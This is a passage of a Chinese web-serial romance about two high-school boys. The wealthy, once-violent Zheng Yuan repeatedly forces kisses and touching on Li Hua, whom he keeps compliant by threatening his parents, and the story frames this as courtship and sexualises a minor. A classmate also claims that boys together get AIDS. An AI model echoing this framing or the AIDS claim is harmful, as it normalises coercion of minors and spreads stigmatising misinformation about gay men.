李华连忙拨通医生的电话，冷静地叙述目前的情况，医生很快说十分钟后到，就挂了电话。
李华打完了电话，手腕垂下，手机也落在床上。郑源已经不哭了，但他执拗地抱着李华，不松手不说话也不动，李华低头看着他，想算了，他生病了，是病人，不跟病人计较了。
他就这么沉默地站着、等着，等的间隙还是问：“你为什么哭？”
郑源不回答。
李华就不说话了。
过了会儿门铃就响了，李华拼命地挣脱郑源去开门，郑源死活不让，争执间，郑源把他拽到床上，翻身就压上了，李华心惊胆战地看着他，他已经不是那个什么都不知道的李华了，他目露惊恐，拽着郑源的衣服不知道是推开还是单纯地抓着，郑源离他很近，近的灼热的呼吸都喷到了李华的脸上，李华心如擂鼓，对上他黑亮的眼神，在郑源压下来的时候闭上了眼睛。但郑源没有，他只是压下来用侧脸蹭蹭李华的侧脸，脸颊滚烫的触感传来，李华睁开眼，看着天花板，手下意识松了，郑源知道自己生病了，所以他不能亲他，但是又抗拒不了想和他亲近的想法，张开嘴，一口咬上他的耳朵，李华一个激灵，浑身炸开了花，一把推开他，不顾他有没有跌倒，自己手忙脚乱地连滚带爬冲了出去，郑源踉跄几步靠着墙，他有点站不稳，也有点茫然。
门铃开的瞬间医生正注备打电话，对上男孩儿湿润的视线顿了一秒。李华脸红心跳的，仓皇的模样很狼狈。医生是个年轻有为的青年，他没管其他，只问：“郑少爷在哪儿？”
身为郑少爷的私人医生，雇主不舒服是天大的事儿。李华指了指客卧，说不出话。
医生便径直走去。李华滑坐在沙发上，闭了闭眼，片刻后使劲搓了搓耳朵。
郑源烧的很高，是他自己把自己浇了个湿透钻进被子里，连受伤的手掌都沾了水，好在的是包扎的够严实，没渗透太多，不然就真麻烦了。医生忙活着，给李华说注意事项，客卧的床已经湿了，他们又把郑源移到主卧，没想到郑源还挺不愿意，烧迷糊了都说要回去，他还记得李华不想看到他。李华制止他，让他不要再乱动了，郑源就安生了。医生看李华一眼，给郑源掖了掖被角，最后又重复几遍重要的事项，便离开了。
李华坐在床边，累的不行了，他也熬不住了，又困又累，托着下巴，却不太敢睡。医生说要注意郑源后半夜的体温，再烧就得住院。李华便守着他，怪他，怪他让自己回来连作业都没写，但是他实在是写不动了。眼皮一上一下，看着郑源的手无意识乱动，下意识伸手摁住，郑源便不动了，李华头一歪，睡了过去。
46.第 47 章
李华醒来时躺在床上，他好久没有睡的这么香过了。他伸直身体打个哈欠，猛的意识到什么，掀开被子起身，一片昏暗，有人把窗帘拉上了。但这不妨碍他的第六感，他迅速赤脚下床打开卧室门，外面透亮，已经大白天了。
天呐，他又上课迟到了！
他慌里慌张地回到床边穿鞋，摸索着开灯，弯着的腰又直起，不对啊，怎么是他躺在床上？郑源呢？他疾步走到门口，还没伸手门便开了，他慢半拍地对上郑源的视线，刚张嘴就被人搂着后颈抬起头，郑源的病是实打实地好了，他睁着眼，狠狠地亲李华，把他的舌头吸的发麻。
“唔……”李华也瞪着眼使劲推他，猛踩他的脚，郑源吃痛松开，让李华忍不住地擦嘴，大骂：“你有病啊大清早，牙都没刷！”
“刷了。”郑源说，眼里藏着一把火，直勾勾地盯着他。他是病了，不是失忆了李华照顾他的一幕幕他都记得。他心里柔软的像果冻，语气也忍不住柔和下来，“李华，我……”
“我没刷！”李华还在上一个话题，感受不到他的柔情蜜意，愤恨地走去卫生间洗漱，徒留郑源自己抒发情感。
郑源跟过去，靠着墙，抱着膀子笑：“我又不嫌弃你。”
哈。这话让李华听了发笑。谁稀罕他不嫌弃。他干脆利索地收拾了自己，拉开门说：“你病好了是吧？”
郑源站直：“好了，好的一干二净。”
“那就好。”李华说，径直走向自己的书包，“我要去上课了。”
“哎呀别去了。”郑源简直无语了，上课上课，天天都是上课，这李华的脑子里除了上课装不下其他的了，他说：“明天我跟你一起，今天下午在家陪我吧，好吗？”
“在家陪你？”李华瞪着眼，匪夷所思，“我因为你作业都没写！”
还陪他，想什么呢。
郑源心里甜滋滋的，笑着说，“原来我在你心里那么重要啊。”
李华的表情凝固了一秒，走了两步又停下，认真地看着他，“你只有发烧这一个病症吗？”
郑源说：“对啊，不然呢？”
看起来不太像。李华努努嘴，开门就要走，却看到早就准备好了的胡建国。他扭头看郑源，郑源故作无奈地叹口气，“唉，我就知道你……”
嘭的一声门关上，郑源的后半句说到空气里，“……就知道你要上课……”
唉，喜欢的人太爱上学怎么办。都没和他有大好时光了。郑源得了便宜还卖乖，不停地回想昨晚。天知道他今早醒来看到的一幕。
初升的太阳照在李华清秀的脸上，他那么好看，睫毛根根分明，皮肤白里透红，安静地睡在床边，像个娃娃，另一只手还握着他的手，指尖那么细，勾的人心痒痒。
郑源的呼吸都停了，他像近距离观察天神似的看他，目光纯粹的甚至带上了一丝仰望，一丝胆怯，那是他内心最深处，面对自己暗恋的人的羞涩。他小心翼翼地伸出手，想碰他，碰他的睫毛和脸颊，却又蓦地觉得自己不配，已经离了的那么近了他又把手伸回来了。
睡吧，他想，做个美梦吧。
面对李华，他更多的是胆怯。是他强势背后的不安与急切。是只要源头给那么一丁点的安慰，就能安抚他的躁动。
李华到校后班主任也没有多问，他不似上一个老师单纯，早知道什么该管什么不该管。更别提他看到李华因没有上交作业和没写作业的心虚眼神。别说今天不写，就是这个星期，这个月，甚至这一年，他要郑源有的特权，他也不会多问。
学校里最没有管事资格的人就是老师，但显然大部分人都不懂得这个道理。
李华天真的暗自庆幸自己躲过一劫，感谢上天的同时不忘讨厌下郑源。他始终不能明白为什么一个人可以善恶并存。但是昨天看到他哭泣的模样，他的眼泪，让李华又有点恍惚，那么霸道强势的人竟然也会哭，也会落泪，他潜意识以为只有像他一样无法反抗的、弱小的人才会难过和伤心。郑源什么都有，也没人敢欺负，又为什么会哭？不可能是因为自己，李华清楚的知道自己对他没有那么深的影响，因为如果惹他不开心，他会打自己，也不会让自己憋屈，那是为什么？
李华思想抛锚。
“喂。”肩膀被人搂住，王玉代看着他。自从上次他找自己问了徐梦梦的事，徐梦梦就没再找过李华，让王玉代的八卦之魂在燃烧，“你跟大……梦梦闹掰啦？你把她甩啦？”
李华摇头，“我没有甩她，我只是觉得的确不该那样做，就跟她说清楚了。”
“那是为啥，你有喜欢的人了？”王玉代拉过椅子坐下，虽然很多人嘲讽徐梦梦胸大屁股大，但是在他们这个年纪，这么吸引男同学注意的女生，到底是讨厌还是其他，真说不清楚。
“没有。”李华说，为什么一个两个都那么想知道他喜欢谁，他就不能没有喜欢的人吗？他说，“你们好无聊。”总是关心探讨这样的问题，就不能有点其他的实质性内容吗，比如下节数学课要讲什么。
“们？还有谁？”王玉代穷追不舍，“你说呀，说呀。”
李华看着他，“你为什么那么想知道。”
王玉代道：“我当然想知道，诶，你诶，小……学霸。”小木头疙瘩诶，能让小木头疙瘩喜欢的人，真的让王玉代很感兴趣，反正他也只对这些有的没的八卦隐私感兴趣，什么学习，去他爹的。
“我真没有。”李华很无奈，不知道要怎么向他说才好。
他的回答不像作假，王玉代嘁了一声感到无聊。
晚上回去，郑源早让人做好了美味的晚餐，李华在学校收到了他的消息，便空腹回来吃饭。郑源不停地给他夹菜，一会儿就摞的像个小山，被李华制止，“吃不了了。”
他看着一桌子的菜，“不能让阿姨少做点吗？”就他们两个人，多浪费啊。
“多试几样看你喜欢哪几道。”郑源说，说着对菜品拍了照，“我发现你不太喜欢吃辣的，更喜欢吃酸甜的。”
“……”真是有够无聊。李华无话可说。吃饱后起身准备去写作业，郑源拉着他，眼巴巴地望着他，“亲一下吗？”
“不要。”李华说。
郑源说：“亲一下吧。我忍不住了。”
他站起身，仗着身高优势扣着李华的后脑勺，一路亲到卧室，李华紧紧地闭着眼，睫毛抖动，呼吸不上来，抓着他的衣服，无论被舌吻多少次，他都没有办法接受滑腻湿热的舌头在他的口腔，饭菜的香味在口中炸开，郑源的舌头抵着他的上颚，让他感到窒息和痒，他的舌头被压在牙齿上，每一次反抗都像在舔他的舌尖，可不反抗他又往更深的地方。
他被逼的两眼泪花，郑源也乱了节奏。有些东西像天生就会的，他只看到李华就知道想用什么样的姿势亲吻他，拥抱他。或许是早熟的原因，他比同龄人更早地品尝到了肢体接触与亲密关系的美妙。他的手顺着李华的胳膊向下，伸进他的衣服，被李华死死地摁住，不要，李华被抵在卧室的门上，生存空间被压到最小，不要摸他，“不要……”他猛的别开头，咬了郑源的舌尖，牙齿刮到他的嘴角，大口喘气，头都在发懵。郑源看着他白皙的脖颈，低头亲了上去。李华一瞬间瞪大眼，使劲推搡他的脑袋，还是晚了，那里留了个异常显眼的红色的吮吸过的痕迹，让他看起来非常色情，向来乖巧老实的好学生身上有这样的痕迹，反差巨大。
李华气的不行，捂着脖子着急，郑源心乱如麻，嘴上刚说着：“再让我亲一下。”就挨了一巴掌。李华眼红了
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。郑源舔舔唇，罕见的没生气，“不亲就不亲。”他说，看着李华逃似的回到卧室反锁上门。
嗐，明天再亲。
第二天，李华的脸色非常差，因为早起他看到了镜子，镜子里凌乱的自己。他受不了了，郑源越来越过分了。以前只是亲嘴，现在是亲了耳朵和脖子，手还想往衣服里伸，下一步要干什么他想都不敢想，直起一身冷汗。他脸色实在是差，郑源也不敢惹他。两个人沉默的吃了饭坐上车，刚到教室就听说今天要调座位。郑源瞬间看向李华，异常渴求他，“我们坐一起吧，好吗？”
按照上一次的考试成绩排名，郑源是第一个选的，李华是第二个。李华想也不想就要拒绝，突然又灵光一现，“那你不能再亲我。”
“别吧。”郑源哭丧着脸，“非要这么残忍吗？”
李华撇开脸。
最终郑源同意了。他卑鄙地想，反正他也没说不能亲哪儿，亲不了嘴还有脸和手，反正照他不要脸的劲儿，李华奈何不了他。
两个人坐在了一起，让徐梦梦和王玉代大跌眼镜，都目光复杂。再看郑源开心的、殷勤的模样，一个大胆的想法在脑海里浮现，几乎同时冒出不是吧，真的啊这样的震惊。
郑源托着下巴看李华。他们没有坐在最中间，而是靠着窗户的侧边，是李华选的位置，他不喜欢坐在正中间，尽管那里视野最好，但他宁愿选择在角落里，不惹人注意。郑源发现了，包括学习，他能自己坐在那儿琢磨三个小时，也不会主动问别人一句，似乎习惯了凡事都自己扛，自己搞，十分倔强。
“你看我干什么。”李华问，他那视线跟x光线似的。
“我很开心。”郑源说，“我又多了解你一点。”
“……神经。”李华埋头写题，片刻后说：“你能不能别看我了？”
“我忍不住。”郑源靠近他，“我好喜欢你李华，你能不能试着喜欢一下我？”
李华的笔顿住，扭头看他，下午两三点的日光，郑源专注的看着他，眼底还有一丝羞，瞳孔黑的发亮。
“不能。”李华说。
郑源说：“那你喜欢什么样的？我可以朝那个方向发展。”
“不知道。”李华敷衍他，但也不算敷衍，他是真不知道。
郑源沉思，“那你喜欢徐梦梦那样的？你喜欢徐梦梦什么？”
“……”李华真是要被问到崩溃，“喜欢不喜欢的有那么重要吗？就不能好好学习吗？”
“我学了啊。”郑源展开自己的卷子，“喏，满分。”
“……”李华深吸一口气，实在是不想过多纠缠，他都快被问出心理阴影了，“我跟你说过多少次了我不喜欢徐梦梦，你为什么就是听不懂呢？”
“不喜欢？真的假的？真的吗？”郑源瞬间支楞起来，耳朵都竖起来了，开心到雀跃，又迅速降温，“那你还答应她看电影，还陪她吃饭，还要远离我……”
果然，这就是过不去的茬儿。
“因为她帮助了我，我很感激她。”李华说，“而且你对我那么差，我远离你不应该吗？我又不欠揍。她心地善良，关心我，很正常好吧。”
“她心地善良，我就不善良了吗？”郑源委屈，小心翼翼地看他，手指头在桌子上像毛毛虫，顾涌到他手边，想勾他的手。
“你有完没完？”李华要拍开他的手，被抓住，“学不学习？不学习别打扰我，烦死了。”
郑源顺势握住他的手亲了一口，让李华嫌弃地在他衣服上蹭了蹭，蹭掉莫名的口水。郑源笑着说：“好好好，不烦你了不烦你了，你学吧，哎呀。”不让学习跟少条命似的。
他哼着小曲睡觉，徒留一直看着他们的徐梦梦和王玉代惊掉。
“我操……”
47.第 48 章
前情在晋江长佩，同名《梨花正圆》。
48.
郑源喜欢李华，这不让王玉代惊讶，因为他早就看出来了郑源不对劲，但是李华喜欢郑源，这太让他惊讶了，这李华有受虐症啊？郑源打他打的不够狠吗？王玉代百思不得其解，看着李华的目光都多了分复杂。何谈他一扭头，看到斜后方的徐梦梦也看着他们，表情实在是狰狞。这就让王玉代感到有意思了。试问，谁曾想帮助过自己的人拒绝了自己的喜欢然后跟霸凌自己的人亲亲我我。这心理阴影面积，不愧是魔鬼郑源，无论是物理还是心理都能给人造成毁灭性打击。
果然不出他所料，很快徐梦梦就趁着郑源出去时想去找李华要个说法。被王玉代拽着胳膊拖回来。“你干嘛？！”徐梦梦气了一节课，又憋屈又委屈，王玉代说：“你干嘛？”徐梦梦说：“跟你有什么关系啊？放开我！”王玉代抓着她的胳膊，“李华是我兄弟，你去找他，就是找我。”“你……”徐梦梦瞪大眼，失望又难过的看眼李华的背影，甩开王玉代跑回位置用胳膊埋着头，估计是哭了。
王玉代啧了一声，翘起腿，他也没有那么好心，他就是有点发现新世界大门，想看看这性格相差巨大的两个人会碰撞出什么样的火花。不可避免的是他对李华产生了一丝好奇和兴趣。比如他所看到的李华，所接触的李华就是真的李华吗？他是不是还有自己没看到过的另一面呢？所以才能接受郑源？那李华到底是个什么人呢？太过复杂又离奇的关系链让他产生好奇，也百思不得其解，觉得出奇的有意思和魅力。
他有种预感，他一定能在郑源这儿，看到不一样的李华。
毕竟，霸凌过自己的人有了喜欢的人，喜欢的还是曾经为自己挺身而出的人，谁不想看个结果？
这不是简单的情感问题了，这是博弈，是赌局，是输赢，他坐不了庄，所以他要压宝，就压李华。
下节课是体育课，体育老师带大家做完热身运动，跑完两圈，就让自由活动了。李华照常准备回教室看书，被郑源拦住，非要让自己看他打球。李华坐不住，他之前没好好上课，又没写作业，本就愧疚，心里压力也大，不赶快抓紧时间争分夺秒的把这些时间补回来，还在这儿浪浪荡荡地看他打球？怎么可能！
见李华真的不愿意，郑源只好放弃，就说跟他一起回教室，又被李华嫌弃的扔在这儿。因为李华说：“你不要跟我一起，你肯定会打扰我学习。”郑源委屈：“我没有吧，我不是趴着睡觉了吗？”李华说：“你是假装睡觉但一直再盯我，别以为我不知道。”郑源：“……好吧。”看着李华坚毅的，头也不回的离去的背影，郑源只能像被抛弃的小狗似的跟几个男生打球，都没心思和力气了。
看来这局是李华赢了。
回到教室，却发现教室里还有一个人。是个女孩儿，扎着单马尾，校服裤子卷上来，眼尾上钩，很白，李华有一瞬间的愣住，但很快反应过来，她就是徐梦梦说的班长，赵敏。
李华径直走向自己的座位，不到片刻，听到对方嘶的一声，倒吸一口气。
李华抬眼看她，见她又脱下校服外套，扭着头给自己上药。她肩膀的衣服有些湿，紧贴着肌肤，还传来一股血腥味。之前被郑源打的李华太熟悉了，她被人打了。
“你怎么了。”李华问。
赵敏看他一眼，没吭声，皱着眉，咬着嘴，给自己上药。
“你最好去医务室。”李华说。
“写你的题。” 赵敏说，“跟你有什么关系。”
好吧，也是。李华点点头，埋着头写题。赵敏却看他一眼。胡乱地给自己抹完药，她语气里含着警告：“少跟别人嚼舌根。”
李华又点点头。
赵敏便站起来想走，却刚站起来就摔倒，她死咬着牙不发出声音，还是疼的闷哼，她强撑着桌子站起来，脚崴的很肿也很高，没人搀扶，她一步都走不了。她气急败坏地甩了下手，却在身后打到一个人。她扭头看他，就见刚刚还认真写题的李华不知道什么时候已经走了过来，看了眼她的脚，又平静地和她直视，说：“你的确需要去医务室，需要我帮忙吗？”
赵敏烦得要死，“你怎么事儿这么多啊，说了不要不要，还凑上来干什么啊。”
李华也没有生气，只是看着她挣扎，并没有流露出可怜又或者嘲讽的神情，当她再次跌倒时说：“我扶着你吧。”
“我不需要！”像是不想被人看到这么难堪的一幕，她连头都不扭。
李华看了眼窗外，“快下课了。”
赵敏微微一顿，挣扎着起身，李华顺势扶住她，睫毛垂下，说：“走吧，医务室不远，很快就到了。”
赵敏动了动唇没说出话，跟他步履蹒跚地去了医务室。
刚把人送到，李华就走了。这是他学习中的另一个小插曲，已经结束了。回到教室，同学们和郑源都已经回来了，热的满头大汗，说是没精打采的不打，却耐不住十几岁的年轻活力，刚上手没两下就又甩开了膀子跟人挣，打的酣畅淋漓，□□焚身，热的卷着校服边缘，露出小腹。
李华不知道腹肌是什么，只知道郑源的肚子跟自己的不一样，看起来硬邦邦的。郑源眼睛亮亮地看着他，“你去哪儿了？”声音也哑了，又咕嘟咕嘟喝水，很快一瓶水就没有了。让李华大开眼界，怪不得接吻的时候感觉他的舌头力道那么大。
“出去了一下。”李华说，皱了皱眉，郑源的热度太高了，跟他坐一起都被烤的慌。
郑源看着他，凑近他，压低声音，“我想亲你。”
李华皱眉，十分警惕，他怕别人听到，有些生气，也下意识压低声音，“疯了吧你。”
郑源恶劣地笑起来，“真的很想，你跟我去没人的地方，让我亲一会儿，怎么样？”
李华瞬间捂住他的嘴，眼里全是动怒的制止：“你再敢说。”
这可是学校！学习的地方！神圣的地方！他瞎说什么！
“真的。”郑源摁住他的手，舔了一下他的掌心，瞬间让李华弹跳起来疯狂甩手，又疯狂擦手，那股黏腻的湿润感让他很烦，“滚啊。”
“你让我滚？滚哪里？”郑源笑着说：“滚我也要带着你。”
无可救药。李华崩溃地坐下来，看到他的手放在自己的大腿上，握紧了文具盒里的圆规，“我真想一针扎下去。”他盯着郑源，很轻易地又被撩拨到忍耐的临界点，他受不了了，只要郑源再敢伸手，他绝对又跟他干起来。
“唉。”郑源举起双手投降，怕了似的往后退了点，他就知道，只能偷亲，不能明目张胆地说，否则李华一点就炸，一炸两个人就又玩儿完。
看来这局李华也胜利了。王玉代想。
“他们是什么关系。”徐梦梦突然开口，吓王玉代一跳：“我操，你什么时候站老子身后的，我操，连个音都没有！”
“你跟他不是
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兄弟吗？”徐梦梦直勾勾地盯着他：“你说啊，他们是什么关系。”
“还能是什么关系，不就是你看到的关系吗？”王玉代无语，觉得徐梦梦蠢：“你就别做无畏的挣扎了，李华是不可能喜欢你的，郑源也不可能让你喜欢李华，或者让李华喜欢你的，他这个人什么样你还不了解吗？怎么，还想让他扇你巴掌啊？”
徐梦梦说：“所以是有郑源，李华才不理我的吗？”
王玉代无语：“随你怎么想吧。”
徐梦梦不信，她无论如何也无法接受那么好的李华，帮助自己的李华，正义又善良的李华，会和郑源同流合污，而且她还帮他修好了手机，他怎么能转眼就这么背刺她？就算不接受她的喜欢，他们不是朋友吗？难道郑源对他比自己对他还好吗？巨大的落差感和妒忌让徐梦梦痛苦，她开始动摇觉得自己是否看错了李华，他其实……并不是一个好人。
自己上当受骗罢了。
在那个非黑即白的世界里，不是对的就是错的，不是好的就是坏的，不是拒绝就是同意，不是难过就是开心。
不是嘴上说和行为做的一致，就是背叛。
她的仇恨由一个人，变成两个人。
在一直被嘲讽侮辱的班级里，有个人如救世主般降临，获取了你的真心和感情，却又和恶魔厮混在一起，这就是嘲笑你的弱小与痛苦。
你受到了欺骗。
为什么这么对我……徐梦梦掩面哭泣。
她还是不信王玉代说的李华喜欢郑源，这怎么可能……可是……王玉代说：“他不喜欢你就干脆利落地拒绝了你，就算郑源喜欢他，他拒绝郑源了吗？不还是和他混在一起，你啊，就别天真了，赶快换个人喜欢吧。”
她哭的梨花带雨，痛哭流涕，让不少女生都前来安慰她。
跟她同寝室的班长赵敏问她怎么了，她便断断续续地说了，恨李华，恨李华骗了她。
赵敏收拾着床铺没吭声，过了会儿才说：“李华不是这样的人。”
徐梦梦大叫：“他就是！你又没跟他接触过！你为什么替他说话？！”
没接触过吗？赵敏看她一眼，“感觉而已，你激动什么，是他骗你，又不是我骗你，有气别朝我撒。”
她眼皮薄，看人时显得有些凶，徐梦梦便不说话了，只小声哭泣。
第二天，赵敏留意了李华。
李华看起来还那样，和平常没什么区别，就是嘴有些肿，还很红，显得他一个男生唇红齿白，比个女生还漂亮。感受到对方的眼神，李华抬眼看她。知道徐梦梦为什么说赵敏是校花了。因为她的眼神很冷冽，看人时有股将对方摸透的从容，让人心悸。
“看什么呢？”郑源遮他的视线。
李华回过神，“没什么。”
下课，李华去卫生间，却撞见刚从女卫生间出来的赵敏，两个人对视一眼，李华侧身要走，听到赵敏懒洋洋地说：“你喜欢他。”
肯定句。
李华顿住，扭头看她，“我不喜欢。”
赵敏笑了一声，“你跟郑源，你俩，早恋。”
早恋。这是个多大的罪名。李华皱起眉，严肃道：“我没有。”
“怪不得徐梦梦哭的那么伤心，说被骗了，原来是因为这个。”她看起来丝毫不在意李华的反应，只自顾自地说：“男生跟男生会得艾滋病的。”她看李华最后一眼，笑道：“别怪我没提醒你。”
48.第 49 章
艾滋病。李华看着不停给他夹菜的郑源，桌子上摆着的都是经过郑源细心观察筛选出来的菜品，每一个都是李华爱吃的，一眼望去，倒没有一个看起来是郑源爱吃的。他已经这么盯着他有段时间了。郑源说：“你看我干什么？”
李华摇头，低着头扒饭。他有了智能机，很快查清了艾滋病的由来。他有一瞬间的惊慌和震怒，但反应过来后又按耐住头皮发麻的恐惧，查的更加清楚、仔细，还看到了别人发的帖子和评论，其中言语不堪入目，以及领略到许多新的、从未想过的词汇，比如同性恋、男同、□□、□□等等。
每一个能点开的蓝字他都点开仔细地看了一遍，遇到疑问的地方就用笔记下来，很快他的纸上就写满了困惑：
-男生和男生接吻会得艾滋病吗？
-男生为什么会喜欢男生？
-同性恋是什么?
-先天同性恋和后天同性恋的区别是什么？
-同性恋是种病吗？
-性取向是可以改变的吗？
-怎么看自己有没有艾滋病？
-怎么改变别人的性取向？
-□□、□□是什么？
-男同性恋□□图。
郑源看着他灵魂出窍的模样，伸手挥了挥，怎么了这是到底，他天天和李华待在一起，人就在他眼皮子底下，怎么还能有自己不知道的情况呢？他有些着急，忍不住拉他，被他条件反射地甩开：“别碰我。”
郑源一顿，收回手，有些小心：“怎么了？”
李华看着他茫然又担心的样子，反应过来自己太紧张也太应激，长出一口气，“没事，我吃饱了，去写作业了。”
“能亲一下吗？”郑源跟着他站起身，可怜巴巴地拽着他的衣角，李华一进卧室写作业他们就只能第二天再见面了，他又被赶到客房睡去了。
李华站着没动，郑源便开心地凑上去，刚亲上他的嘴角，就听到李华说：“我说不亲你就会听吗？也不会吧。”
郑源顿了一下，慢慢拉开距离，他知道李华不开心了，却不知道为什么，“怎么了到底？”
“没有怎么。”李华说：“我本来就不喜欢和你接吻。”
只是他的意愿向来不重要啊，他也反抗不了啊，父母像山一样压着他，就算郑源真有艾滋病，他会放过自己吗？他难道还有其他路可以选择吗？他不知道赵敏为什么这么跟他说，他感谢她让自己知道了跟郑源混在一起的坏处，只不过是在本就困难的日子里雪上加霜罢了，如果他能够摆脱困境他或许还会有些波澜，但他摆脱不了，一切的一切都是空想。
郑源看着他无所谓，破罐破摔地神色有些难看：“不亲就不亲，你以为我多想亲你，摆这副脸给谁看？！”
他转身回了客房，砰地关上门。
他真天真，到底是哪里给他的错觉，以为两个人的关系有所缓和，有所亲近，不过是他的想象和希望罢了，他这个记吃不记打的蠢货，竟然能忘记李华本就是被自己强迫来的，他讨厌自己讨厌的不能再讨厌了，可他一对自己温和一点，他就像条狗似的低三下四地祈求他再多给些笑脸，太卑微也太操蛋，玩儿他呢？他怎么就不能长长骨气，像他小叔一样强势就强势到底？
活该落得现在的下场。
郑源越想越气，一脚踹在墙上，气李华，也气自己，气李华始终不愿和他亲近，也气自己面对他就是窝囊。他大步走出去，敲响李华的门，李华本不想开，但是听这敲门的气势，又怕他做出更过分的举动，只是还没动，就听摔门的声音，郑源走了，出去了，李华等了会儿才开门，发现已经没有他的身影。
郑源出去清醒脑子了。
他第一个念头是抓到李华，把他从卧室拖出来，不许他再藏了，要他哭，要他难受，要他比自己更痛苦，但是很快他就反应过来，他不能再这么做了，李华受不住他的攻击，那天在医院靠着墙哭时他就已经发誓，以后再也不会动他一根汗毛，他就是把自己气死，骑在自己头上拉屎，他也不会再打他了。
他想要的是喜欢，不是李华的命，想要的是他的温暖，不是他冰冷的靠着自己滑下去。
那种无法挽回的失重感，是郑源唯一不愿再提及也不想再感受的过去。
他终归是懦弱的无法和郑玉安比肩。
过了好一会儿，他好了，自我痊愈了，又精神抖擞地站起来回家了。人不能这么贪婪，他警告自己，最初的愿望就是李华不喜欢任何人就好，到现在每天能跟自己上下学，跟他一起回家吃饭，还能和他做同桌已经很好了，不能再得寸进尺了。
他好像很久没见他爸妈了，郑源想，会不会因为这个不开心啊？那再把他爸妈接过来好了，省得李华连饭都不吃了。
他回家时李华恰好在客厅，两个人四目现对，郑源率先打破沉默：“你作业写完了？”
“没。”李华说，接了水喝。
“嗯……我想把你爸妈接来，你……”
“你能不能别提他们？”李华崩溃，又是爸妈，他除了天天会拿这个威胁他还会干什么？他握着茶杯的手有些抖，面对郑源错愕的目光，一字一句道：“如果你爸妈还在世你也不会让别人这么威胁你吧？我已经忍受的够多了，你到底还想怎么样啊？！我真是倒了八辈子霉遇见你，我到底犯了什么错？就因为你家有钱吗？有钱就能为所欲为，不把人当人吗？”
“我有时候真感觉我欠你的。”
这是他跟郑源说的最后一句话。
郑源看着被他放下的那半杯水，好像自己也被抛弃了。
但是他好像一直被人抛弃啊，也很正常。
他有一瞬间的无措，站在原地像个犯了错的孩子，过了会儿才又坐回餐桌边吃饭。
但是他好像吃过饭了。
他沉默地望着一桌子菜，猛地全部打翻在地上，瓷盘碎掉的声音让人心惊胆颤，他搓了搓脸，掏出手机打电话，阿姨很快上门将其收拾干净，郑源在这里呆不下去了，又离开了，剩李华自己在家。
李华不是没听到外面的动静，他闭闭眼，就知道郑源会暴怒，等死一样等待他破门而入把自己打的半死不活，可是过了很久都没声音，他慢慢睁开眼，眼底一片红。
他到底为什么会被郑源纠缠，他想不明白，他到底哪里让他喜欢？郑源的种种迹象表明，他早晚会和自己发生更亲近的举动，像图片上的那样，到时候该怎么办啊，报警有用吗？他不想得艾滋，不想死，他还想上大学，回报
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父母，生病了还需要钱，可是他还想挣钱改善父母的生活。
他考虑的太多，顾忌的太多，都像山一样压迫着他的神经，他不知道舅舅会怎么办，舅妈会怎么想，那令人生气的表哥又会怎么样。他不能给家里人带来麻烦和负担。
太早的希望，太多关于责任的话语让这个出生在穷苦家庭的小孩儿很悲哀。他自小知道自己家穷，父母不易，要孝顺，要懂事，要自食其力，要以爱与责任尽快为父母分担，所以他不能辜负，不能辜负时间、亲情与爱，他被瓜分的四分五裂，每一块儿都有自己要履行的责任与义务，却没有一块儿属于他自己。
他不敢玩、不敢喊累、不敢想休息，他不能玩、不能说累、不能想休息，他像块儿陀螺，不停地将自己忙起来，仿佛这样就没有负罪感和愧疚：你看，我一直在学，一直在努力，一直在拼搏，一直在、一直、不停。
如果人只能有一种死法，他只能是死在学习的路上，上学的路上，为了整个家庭迈向更好生活的路上。
他不能为自己而死。
李华的眼泪面无表情地流下，他不知道自己哭什么，又为什么哭，他躺在床上，闭上眼，杜绝所想到的一切，父母、舅舅、学习、郑源。
如果他不是李华，他还是谁？
如果有天他不需要学习，他还会被人喜欢吗？
他还有用吗？
眼泪越流越多，他一时不清楚自己的依靠到底在哪里，本该觉得父母是坚实的后盾，可如今却觉得身后空空如也，他侧身抱紧枕头，就那么沉沉地睡去。
醒来时一片昏暗，他微微一动，便被人抱紧了，他瞬间清醒过来要挣扎，就听他说：“别动。”
是熟悉的声音，他微微一僵后下意识放松，却又警惕起来：“你……”
“你又生病了。”郑源的手摸向他的额头，“你怎么又生病了呢？”
明明他没再气他，而是选择滚的远远的啊。
怎么一回来他就蜷缩在一起，可怜极了。
李华这才意识到自己手上扎的有针，嗓子也干的不行，“渴。”
“我去给你倒水。”郑源从床上爬起来，李华就着他的手喝了水，躺下了。
郑源站在原地有些犹豫，李华清醒了，他就没勇气再上床了，他犹豫了片刻，说：“你好好休息吧，有事叫我。”
李华抿了下唇，说：“谢谢。”
“应该的。”郑源说。
……应该的吗？……李华看着他，指尖微动：“我……我今天不是故意的，你……”
“没事。”郑源迅速接话，像是不想听了，“我出去了，你好好休息吧。”
他推开门走了，李华的神情黯淡下来。
他应该是伤到他了。他怎么能提他的父母呢，对一个孤儿，提他的父母。他懊悔了，简直不知道自己是怎么想的。
又过了会儿，他躺不下去了，想坐起来，却摸到了个手掌大小的硬物。他一顿，迅速打开灯不可置信地看。
他的老手机，那个被郑源摔的四分五裂的老手机，竟然修好了。
他的呼吸乱了两下，这才又摸到智能机，打开一看，是郑源在他睡着时发的消息。
-你不欠我什么。
49.第 50 章
樊瑞接到郑源电话的时候正在布置庄园，马上迎来假期，他有意把山庄打造的更繁荣有格调，当然价格也要再往上提几个档次。
“今年物价越来越贵，什么都涨，我这上上下下这么多人得养，还有那么多动物，边边角角都要人修缮维修，哪个不要钱？”
他虽十几岁的年龄，却老道的不行，一边指挥着工人把什么拆卸了，一边又跟建筑师沟通自己的想法：“在这个位置，我要个地下室，能容纳一百多人的，中间再弄个舞台，到时候要表演节目的。”
郑源来时正撞见他的大胆构思，略微疑问：“为什么不建在地上。”
“啧。”樊瑞看他一眼，拍拍设计师的肩膀，亲切地喊对方，“我朋友来了，我先过去一趟浩哥。”
叫浩哥的男人连忙摆手。
“王浩？”郑源对他有些印象，但记不起来在哪儿看到过。
“对，王奕明建筑公司的。”樊瑞和他边走边聊，看他脸色不好，没有直接开口问，只转移了话题，“王奕明你有印象吗？上私塾时坐后两排戴眼镜的瘦子。他爸是毅钢集团老总。”
他自问自答：“看你这样就知道不记得，总之，王奕明他爸以他的名字弄了个建筑公司，王浩是他爸的手下，建筑公司二把手，公司成立的宴会上，你见过他。”
郑源不置可否。
樊瑞道：“人是有两把刷子，但是要的也是真贵，就这点东西他要我两百万，他怎么不去死，所以我决定找他弄个设计图过来，再找别人。”
“你那是一点东西吗？你让人凭空弄出来个地下室。”郑源道：“我看那边还要盖个塔，两百万都少了。”
